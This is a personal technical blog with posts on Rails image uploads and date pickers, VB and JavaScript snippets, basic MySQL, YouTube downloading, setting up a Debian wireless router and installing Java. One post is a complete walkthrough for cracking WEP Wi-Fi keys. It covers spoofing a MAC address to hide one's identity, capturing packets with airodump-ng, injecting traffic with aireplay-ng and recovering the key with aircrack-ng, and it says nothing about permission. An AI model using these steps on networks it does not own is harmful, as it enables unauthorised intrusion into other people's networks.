Techblog
Technical Blog about all things computer
-
Mar 20
Ruby Rails has a very good plug-in for managing picture uploads to your website. The File Column Image Updater plug-in has been around for a while and widely used for uploading pictures for a website.
The setup is simple and you have the code on how to upload a picture or display it, it’s not difficult to use.
1.) First download the plug-in to your project:
ruby /script/plugin install http://opensvn.csie.org/rails_file_column/plugins/file_column/trunk
2.) Create a Database model to store the file names.
ruby script/generate model Photo
3.) Add the following to create photos migration file:
class CreatePhotos < ActiveRecord::Migration
create_table :photos do |t|
t.column :super_user_id, :integer,:null => false
t.column :name, :string
t.column :picture, :string
t.timestamps
end
add_index :photos, :id
add_index :photos, :super_user_iddef self.down
drop_table :photos
end
end4.) Creat the database table
rake db:migrate
5.) Edit the photo model file and add the following..
class Photo < ActiveRecord::Base
file_column :picture, :magick => {
:versions =>
{
:small => {:crop => "1:1", :size => "155×155!" },
:thumb => {:crop => "1:1", :size => "50×50!" },
:medium => { :size => "640×480" }
}
}validates_file_format_of :picture, :in => ["gif", "png", "jpg"]
When picture is saved the file column updater plug-in will create three versions, small, medium and thumb nail version using RMagick. It will also validate for gif, png or jpg extension. Modify this to suit your needs.
6.) In your upload photo view put the following code to upload one picture at a time:
<%= form_tag( { :action => ‘addphoto’ }, :multipart => true ) %>
<p><label for="user_name">Name</label><br/>
<%= text_field ‘photo’, ‘name’ %></p>
<p><label for="user_picture">Picture</label><br/>
<%= file_column_field "photo", "picture" %>
<%= submit_tag "Create" %>7.) This is the code in the controller to process the view code:
def addphoto
@superuser = SuperUser.find_by_id(session[:super_user_id])@photo = Photo.new(params[:photo])
@photo.super_user_id = @superuser.idif request.post?
@photo.save
flash[:notice] = "Image Saved"
end
end8.) To display the image add this to your view.
<%= image_tag url_for_file_column ‘photo’, ‘picture’ if !@photo.picture.nil? %>
and make sure you have something like this in your controller to load the photo from the database:
@photo = Photo.find_by_id(photo_id)
9.) If you want users to upload multiple pictures. In this example five pictures. This is what I used in my view:
<%= form_tag( { :action => ‘addphotos’ }, :multipart => true ) %>
<table>
<% for i in 1..5 %>
<tr>
<td> Caption: </td>
<td><input id="<%= "picture_#{i}_caption" %>" name="<%= "picture[#{i}][name]" %>" size="30" type="text" /></td>
<td> File :</td>
<td>
<input id="<%= "picture_#{i}_filename" %>" name="<%= "picture[#{i}][picture]" %>" size="30" type="file" />
</td>
</tr>
<% end %>
<tr>
<td> </td>
<td><%= submit_tag "Upload" %></td>
</tr>
</table>
</form>10.) This is the code for the controller:
def addphotos
@superuser = SuperUser.find_by_id(session[:super_user_id])
@photos = Photo.find(:all, :conditions => ["super_user_id = ? AND active='Y'" ,session[:super_user_id] ] )#Multiple pictures
if !params[:picture].nil?
params[:picture].each do |file_id,attr|
id = file_id.to_i
picture = Photo.new(attr)
picture[:super_user_id] = @superuser.id
if !picture.picture.nil?
if picture.save
flash[:notice] = "Image Saved"
@photos = Photo.find(:all, :conditions => ["super_user_id = ?" ,session[:super_user_id] ] )
end
end
end
end
end11.) To display the picture on the addphoto view, this is the code.
<% for @photo in @photos %>
<% if !@photo.picture.nil? %><table>
<tr>
<td><%= image_tag url_for_file_column(‘photo’, ‘picture’ ,’thumb’ ) %> </td>
<td><%= @photo.name %></td>
</tr>
</table>
<% end %>
<% end %>If you want to display the other the small or medium photo instead of thumbnail, simply change thumb to the corresponding size you want to see.
Hope this was helpful and happy coding!
Tagged as: File Column, File Column Image Updater, Rails, Ruby, Ruby Rails, Upload Image, Upload Picture in Ruby -
Feb 28
This article is about how to add a calendar date picker to your Ruby Rails Web page.
There are a couple of ways developers use the selected dates, either to store as data in the database or a variable used in the program’s logic.
I will cover both ways of doing it in this blog. There are multiple date and time picker libraries around. The one I’m using is the “Calendar Date Select” developed by Tim Herber.
1.) First the plug-in needs to be installed in your project. Go to your project directory and run the following command:
ruby script/plugin install http://calendardateselect.googlecode.com/svn/tags/calendar_date_select/
2.) In your view load prototype and calendar date select.
<%= javascript_include_tag :defaults %>
<%= calendar_date_select_includes %>Method #1: Passing the select date in a variable
3.) Add the following code to your view. “bday” is the variable the selected date will be stored in. @start_date_range is default value for the pickere and year_range specifies the year range:
<div id=”calendar”> Birth Date
<%= calendar_date_select_tag “bday”, @start_date_range, :year_range => 10.years.ago..0.years.ago %>
</div>4.) In Your controller, to pick up the bday variable, put a code like this:
if !params[:bday].nil?
@birthdate = Date.parse(params[:bday]).to_s if !params[:bday].nil?
end
Method #2. Passing the selected date into a database column:
5.) If you would want to update your model directly this is an example.
In your view enter the following for birthrate input. The column name is birthdate.:
<% form_for :model do |form| %>
<table>
<tr>
<% fields_for :model do |f| %>
<td> Select Birth Date: <%= f.calendar_date_select :birthdate, :embedded => true %> </td>
<% end %>
</tr>
</table>
<% end %>Notice that I set embed to true. This changes the date picker from a pop-up to a non-pop up date picker (See picture).
6.) To save the birthdate in your controller, simply apply the following assuming “birthdate” is the column name you are updating.
if request.post? and @model.save
…
end
Script will automatically determine the date type of your database table. And save the selected date.
Method #2 allows you to take advantage of the error checking and all the goodies in the Rails framework.
Tim’s demo site is down but this site contains a good demo:
http://electronicholas.com/calendar
Hope this was helpful and happy coding!
-
Jan 17
The function below will enable you to generate Aphabets and Numbers randomly.
1.) Randomize() initializes the random generator and should be placed when your code starts up to ensure that you are getting a random value every time your program starts up.
‘Initialize the random # generator.
Randomize()2.) The function below is the random alpha numeric generator. It’ll take length as an input with option if you want letters capitalized or not.
Public Function GenerateRandomString(ByRef lenStr As Integer, Optional ByVal upper As Boolean = False) As String
‘use
Dim rand As New Random()
Dim allowableChars() As Char = _
“abcdefghighlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789″.ToCharArray()
Dim final As New System.Text.StringBuilder
Do
final.Append(allowableChars(Rnd_Numeric(0, allowableChars.Length – 1)))
Loop Until final.Length = lenStr
Return If(upper, final.ToString.ToUpper(), final.ToString)
End Function3.) How to use this code:
This is an example of how to use the Visual Basic Random Generator function if you want letters to be all capitalized.Dim Random_String As String = GenerateRandomString(10, true)This is an example of how to use the Visual Basic Random Generator function if you don’t need letters capitalized.
Dim Random_String As String = GenerateRandomString(10)Hope this was helpful and happy coding!
-
Sep 26
How to make font automatically alternate font colors with Javascript
<SCRIPT type=text/javascript>
//Alternating font colors
function alternatingColors(idname) {
var speed = 300; // Speed between one color to the next
var first_color = ‘#ff0000′; //First color Hexadecimal required
var second_color = ‘#0000ff’; //Second color Hexadecimal
//We are converting the first color to RGB because firefox style.color is in RGB format
var rgb_color = “rgb(” + HexToR(first_color) + “, ” + HexToG(first_color) + “, ” + HexToB(first_color) + “)”;
s = document.getElementById(idname);
if (typeof(s) !== ‘undefined’) {
s.style.color =( (s.style.color == first_color)|| (s.style.color == rgb_color))? second_color : first_color;
setTimeout(‘alternatingColors(\”+ idname +’\')’,speed);
}
}
//Hex to RGB Converter Code obtained from http://www.javascripter.net/faq/hextorgb.htm
function HexToR(h) {return parseInt((cutHex(h)).substring(0,2),16)}
function HexToG(h) {return parseInt((cutHex(h)).substring(2,4),16)}
function HexToB(h) {return parseInt((cutHex(h)).substring(4,6),16)}
function cutHex(h) {return (h.charAt(0)==”#”) ? h.substring(1,7):h}
</SCRIPT>
<body onload=”alternatingColors(‘blink_this_text’)”>
<p id=blink_this_text> Blinking Text </p>
</body>
Summary: Upon loading the page, the onload function will call the alternatingColors function passing along the id of the paragraph, blink_this_text. The interval is set to 300 milli seconds. First color is the first color to change to font to. It has to be in hexadecimal format because this is being converted to RGB because firefox’s style.color format is in RGB. The second color is the second color to change the text to. . It then gets the blink_this_text object using the getElemenbById command. If it exists and color is not the first color, then it will change the color to the second color. The alternatingColors function is called again using the setTimeout function.
Hope this was helpful and happy coding.
-
How to make a text Blink in Javascript.
Filed under JavascriptSep 26If you want a text to blink below is the function.
<SCRIPT type=text/javascript>function blink(idname) {var speed = 300;s = document.getElementById(idname);if (typeof(s) !== ‘undefined’) {s.style.visibility=(s.style.visibility==’visible’)?’hidden’:'visible’;
setTimeout(‘blink(\”+ idname +’\')’,speed);
}
}
</SCRIPT>
<body onload=”blink(‘blink_this_text’)”><p id=blink_this_text> Blinking Text </p></body>
Summary: Upon loading the page, the onload function will call the blink function passing along the id of the paragraph, blink_this_text. The blink speed is set to 300 milli seconds interval. It then gets the blink_this_text object using the getElemenbById command. If it exists. Visibility is set to hidden if it is visible otherwise it’s invisible. The blinking text function is then called again using the setTimeout function.
Hope this was helpful and happy coding!
-
MYSQL Basic Tutorial
Filed under DatabasesSep 16MYSQL Basic Tutorial
The aim of this tutorial is to help you familiarize with basic MYSQL commands.
1.) How to show the available databases.
show databases;
2.) How to create a database. For example you want to create a database called “test_database”
create database test_databaseee;
3.) Oops. You made a spelling mistake, test_database has extra e’s. To drop database usedrop database test_databaseee;
4.) To create test_database again type:create database test_database;
5.) To select a database so you can access the tables without a database prefix:use test_database;
6.) To show available tables in a database.show tables;
7.) To create a table:create table test_table (
name varchar(50),
age int);
8.) To look at the columns and structure of the table you just created:show table test_table;
9.) To insert data to the table created above:
insert into test_table(name, age)
values (‘Bill Gates’, 50);
10.) To insert multiple values into a table, separate the values by a comma:
insert into test_table (name, age)
values (‘Steve Balmer’, 55),
(‘Larry Ellison’, 51),
(‘Albert Einstein’, 100);
11.) To view the data in your table:
select * from test_table;
12.) To delete a record from your table. For example you want to delete “Bill Gates” from the example above:delete from test_table
where name = ‘Bill Gates’;
13.) To update a column in a table. For example you want to update Albert Einstein’s age:
update test_table set age = ‘200’ where name = ‘Albert Einstein’;
Hope this tutorial was helpful. Feel Free to post your questions and I will answer them.
Tagged as: delete record, insert data, MYSQL basics, MYSQL create table, MYSQL tutorial, show database, show table, update -
How to Download You Tube Videos and Burn to DVD using Open Source Softwares
Filed under Music and VideosAug 30How to download YouTube videos and create backup to a DVD using Open Source software.
Note: It is illegal to download copyrighted material. This article does not endorse piracy and is not responsible for what you do with this information.
In order to download vides from You Tube or other video sites, you will need Firefox Browser and an open source Firefox extension called “Download Helper”. You can download the plug-in from this website: http://www.downloadhelper.net/
After installing the plugin, Firefox will be restart and you are good to go. Download helper will install an icon beside the URL bar. If a video is downloadable, it will colorize and jump up and down. Click on it and save the flash file (.flv).

The icon will start spinng when video is downloadable
After downloading, you will need to convert the .flv file to MPEG video. The open source program that will convert Flash .flv files to other video format is WinFF Video converter. WinFF packs a lot of features. It can even convert FLV files to mp3. It can be downloaded from this URL: http://winff.org/html_new/
The software is pretty intuitive. Click on the plus sign to add the video you want to convert. At the output details, change “Convert To” dropdown to “DVD”. Device Preset to NTSC if you are in the United States or regions supporting this format. Update the output folder and click convert.

Screen Shot of WinFF
After converting your flv videos to MPEG and you want to create a DVD out of the compilation. A good open source program for this is “DVD Styler”. You can download this from: http://www.dvdstyler.de/
This is a pretty cool program allowing you to create a menu screen. Add buttons, and burn the arrangement to a DVD.

dvd styler screen shot
Hope this information was helpful. Happy Computing!
-
Aug 12
1.) WEP is a weak encryption system. In this tutorial, we will crack WEP encryption using airmon-ng and obtain the key.
2.) You will need a wireless card, airmon-ng and macchanger. I’m assuming that you already have a wireless card setup properly in LINUX Debian Distribution. Otherwise you will need to use ndiswrapper to set it up. See my blog on how to setup a “Wireless Bridge Router with Debian” to do this.
3.) Inastall airmon-ng and macchanger
apt-get install aircrack-ng
apt-get install macchanger
4.) To get a list of network interfaces. The screen shot below has the interface and drivername. I’m using the Trendnet TEW228-PI wireless card with the dirver name is rt18180. The interface is wlan0.
airmon-ng

Results for airmon-ng
5.) Stop airmon, bringdown the network and change your network card’s mac address to conceal your identity. Replace (interface) with the interface name found in the screen shot above.
airmon-ng stop (interface)
ifconfig (interface) down
macchanger –mac 00:11:22:33:44:55 (interface)
airmon-ng start (interface)
My wireless card is configured to wlan0 so below is the statement.
airmon-ng stop wlan0
ifconfig wlan0 down
macchanger –mac 00:11:22:33:44:55 wlan0
airmon-ng start wlan0
6.) Check out which wireless networks is avialble.
airodump-ng (interface)
if wlan0 is your interface,
airodump-ng wlan0

Provides a list of available wireless networks
7.) The screen shot above contains the BSSID (That’s the MAC accdress of the router), PWR is the signal strength., #Data is the number of data packets read, CH is channel, MB is the transfer rate, ENC is the type of Encryption. In this excercise, we are only hacking WEP. WPA is a much stronger encryption and requires a different process to hack it. So we want to hack the “home” (ESSID) network. We do so by typing in the follwing.
airodump-ng -c (channel) -w (file name) –bssid (bssid) (interface)
Fill out the channel and bssid from the aprodump-ng (interface) results. Replace interface with your interface and filename is the file to write the captured data packets into. In my case, I ran the following.
airodump-ng -c 6 -w home –bssid 00:12:0E:3C:BC:60 wlan0

Starts capturing data into a file
8.) #Data is the field we are interested in. It tells you how many data has been captured and written to the file. You will need at least 15,000 #Data to crack the WEP. I was able to crack “home” with 25,000 #Data leaving the computer running for 10 hours. This is the passive method of hacking. If you want to speed things up, you can force packets into the system but the disadvantage is it’s not that much faster and it prevents anybody from connecting to the network. See Active Hacking below for more info.
9.) Finally after obtaining enough #Data, it’s time to get the key. Run this command.
aircrack-ng -b (bssid) (file name-01.cap)in my case I had to type the follwoing:
aircrack-ng -b 00:12:0E:3C:BC:60 home-03.cap
10.) It should display something like this if the key is found
KEY FOUND! [ 99:83:4E:00:38 ] (ASCII: ETND9 )
99834E0038 is the WEP key.
That’s it! Happy hacking!
ACTIVE HACKING
1.) Continuing from #8., start a new window and type the following:
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)
2.) Then run the follwoing:
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)
3.) Go back to Step #9 After getting enough #Data
Tagged as: aircrack-ng, aireplay-ng, airmon-ng, Hacking WEP, Hacking Wireless Network, macchanger, WEP -
Aug 9
How to Setup A Wireless Bridge Router with Debian Lenny 5.0
The setup:
My friend has a wireless router in one room and my room was far from the wireless router to run a cable to it. I only had one wireless card and all the other computers in the room didn’t. In order to share internet connection among a few computers, I used a computer with LINUX Lenny 5.0 and made it into a router obtaining internet through its wireless card and sharing the connection through a separate Ethernet Card, already built into the motherboard.
This is essentially a Debian gateway for the home network. The Debian LINUX computer acts as a NAT (Network Address Translation) by rewriting the destination IP address of packets intended for machines on your local network as they cross the gateway.
Requirements:
1 Wireless Card
1 Ethernet Card
1 – Computer with Debian Lenny 5.0 installed
Assumptioin: Ethernet Card is already configured when Debian Lenny 5.0 was installed because it’s built into the motherboard.
Setps Summary:
- Setup the Wireless card
- Setup IP Masquerading
- Setup dns forwarder so hostnames can be resolved to ipaddresses
- Setup a DHCP server so ipaddress can be dynamically issued
Setup:
First we need to setup the wireless card. A lot of wireless network card don’t have LINUX drivers so the best way is get them working on LINUX is by using their window’s driver through ndis wrapper. NDIS wrapper implements a Windows kerlen API allowing the windows drivers to work.
1.) Setup ndis wrapper by installing module assistant and wireless tools
apt-get install module-assistant wireless-tools
2.) Build and install ndis wrappper modules package using Module Assistant
m-a prepare
m-a a-i ndiswrapper
3.) Add ndiswrapper to the list of kernel modules to load at boot:
echo ndiswrapper >> /etc/modules
4.) Insert Ndis Wrapper Module into the Kernel
modprobe ndiswrapper
5.) Download Windows Driver for your network card
You can get your driver from this link:
http://ndiswrapper.sourceforge.net/mediawiki/index.php/List
If you don’t see your driver, you can use the driver that comes with your network card’s CD. My network card is a Trendnet TEW228-PI so I download the driver from Manufacturer’s website.
6.) Install the unzip package to unzip the driver files into harddrive.
apt-get install unzip
7.) Unzip the driver file
unzip -a driverfile.zip
8.) Install the NDIS driver:
ndiswrapper -i DRIVER/sss.inf
in my case I typed:
ndiswrapper –i TEW228PI/rtl8180.sys
9.) Verify NDIS driver installation, list the current installed drivers
ndiswrapper -l
You should see your driver name along with “driver installed”. The output for my the Trendnet TWE-228PI below:
netr8180 : driver installed
device (10EC:8180) present (alternate driver: rtl8180)
Just in case you want to uninstall, the command is below. :
ndiswrapper –e <driver>
e.g. ndiswrapper –e bcmw15
- Plug in your wireless card and iwconfig to see if your device an available interface. If not, install your wireless card and run iwconfig again.
You should see the example below:
LasVegas:~# iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
wmaster0 no wireless extensions.
wlan0 IEEE 802.11 ESSID:”SNOWBALL”
Mode:Managed Frequency:2.462 GHz Access Point: 00:1E:2A:0A:C7:5C
Bit Rate=1 Mb/s Tx-Power=20 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:976E-00B5-46
Link Signal level=-130 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
If you see you r driver, it’s now time to scan for wireless networks and connect.
- Scan for an access point:
iwlist wlan0 scan
- To connect to a network which you see,
iwconfig wlan0 mode Managed
13.) if you use encryption put your key in here
iwconfig wlan0 key restricted XXXXXXXX
put your ESSID under “REPLACE ESSID
iwconfig wlan0 essid ‘REPLACEESSID’14.) Then to restart lan
dhclient wlan0
15.) Add the new interface to the interfaces file
vi /etc/network/interfaces
#——
auto wlan0
iface wlan0 inet dhcp
wireless-essid default
# wireless-key XXXXXX
#——-
16.) Save and exit
17.) Reset the connection
ifdown wlan0 && ifup wlan0
18.) Test the connection:
ping www.yahoo.com
19.) Make sure this configuration loads up during boot:
ndiswrapper –m
- Reboot and then ping www.yahoo.com to make sure setup works.
- Now we need to create a local area network by adding this line to /etc/network/interfaces
vi /etc/network/interfaces
auto eth0
iface etho0 inet static
auto eth1
iface eth1 inet static
address 192.168.2.1
netmask 255.255.255.0
network 192.168.2.0
22.) save and exit. This will create a Local network with 192.168.2.XXX.
23.) To connect to this network assign an ip address to a connecting computer with the follwoing 192.168.2.XXX where XXX can be any number from 2 to 255.
Example: 192.168.2.3
Subnet mask: 255.255.255.0
Default gateway: 192.168.2.1
Perfered DNS server: 192.168.2.1
24.) Reboot your LINUX computer. At this point, if you connect your client computer, either directly with a cross over cable to the LINUX box, or through a switch or hub, you will should be able to ping the LINUX server.
25.) Now you need to setup IPFORWDING rules and the best way is to install the ipmasq package. It takes care of everything.
apt-get install ipmasq
26.) To enable all modules edit /etc/ipmasq/modules
## # Sample to load all the ip_masq_ modules all 26.) At this point, you will be able to ping computers in your wireless card’s network but unable to get to google or resolve any domain names so you need to setup a DNS. And the best way to do this is install a dns forwarder.
apt-get install dnsmasq
27.) Reboot your LINUX box and you should be able to ping google.com from your client computers.
IF YOU WANT TO SAVE YOURSELF THE TOURBLE OF MANUALLY CONFIGURING IP ADDRESS FOR CLIENT COMPUTERS WHAT YOU NEED IS A DHCP SERVER WHICH WILL DYNAMICALLY ASSIGN IP ADDRESS TO ANY CONNECTING COMPUTER.
HOW TO SETUP A DHCP SERVER FOR YOUR LAN SO YOU DON’T HAVE TO MANUALLY ASSIGN AN IP ADDRESS TO YOUR CLIENT COMPUTER EVERYTIME YOU WANT TO CONNECT TO YOUR DEBIAN NAT ROUTER.
28.) Install the dchp3-server using aptitude. At the end of the installation you will see an “start” failed error. Ignor this because you need to setup the configuration file to get the server to work.
apt-get install dhcp3-server
29.) Edit the configuration file:
vi /etc/dhcp3/dhcpd.conf
30.) The file should look like below: (put your domain-name-servers
ddns-update-style none;
option domain-name-servers 192.168.2.1, enter.your.secondary.dns;
default-lease-time 86400;
max-lease-time 604800;
authoritative;
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.0.3 192.168.0.255;
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.2.255;
option routers 192.168.2.1;
}
Explanation: subnet is your network. Range tells dchp which ip address range you want to issue. Routers is your router ip address.
31.) Restart DHCP server
/etc/init.d/dhcp3-server restart
32.) That’s it if you want to see which ipaddress is issued look at the leases file.
vi /var/lib/dhcp3/dhcpd.leases
-
Jul 14
To Install Java on Debain 5.0 (Lenny).
After installing Lenny from the DVD, you may run into errors with java apps even though it appears that java has already been installed. To fix this install the java package.
Edit the sources file so that your operating system will know where to upload the latest Java package.
1.) edit /etc/apt/sources.list
2.) Add the following to your sources.list
deb http://mirrors.kernel.org/debian/ lenny main non-free
deb-src http://mirrors.kernel.org/debian/ lenny main non-free
3.) Update sources by running:
apt-get update
4.) Install the Java JDK as follows:
apt-get install sun-java6-jdk
5.) Make java available system wide:
update-java-alternatives -s java-6-sunecho ‘JAVA_HOME=”/usr/lib/jvm/java-6-sun”‘ | tee -a /etc/environment6.) create a sym link to the installed java directory:
ln -s /user/lib/jvm/java-6-sun /usr/lib/java
7.) Create a class path by editing:
/etc/profile
8.) Add the follwoing line to the bottom of the /etc/profile file:
JAVA_HOME=”/usr/lib/java”
export JAVA_HOME


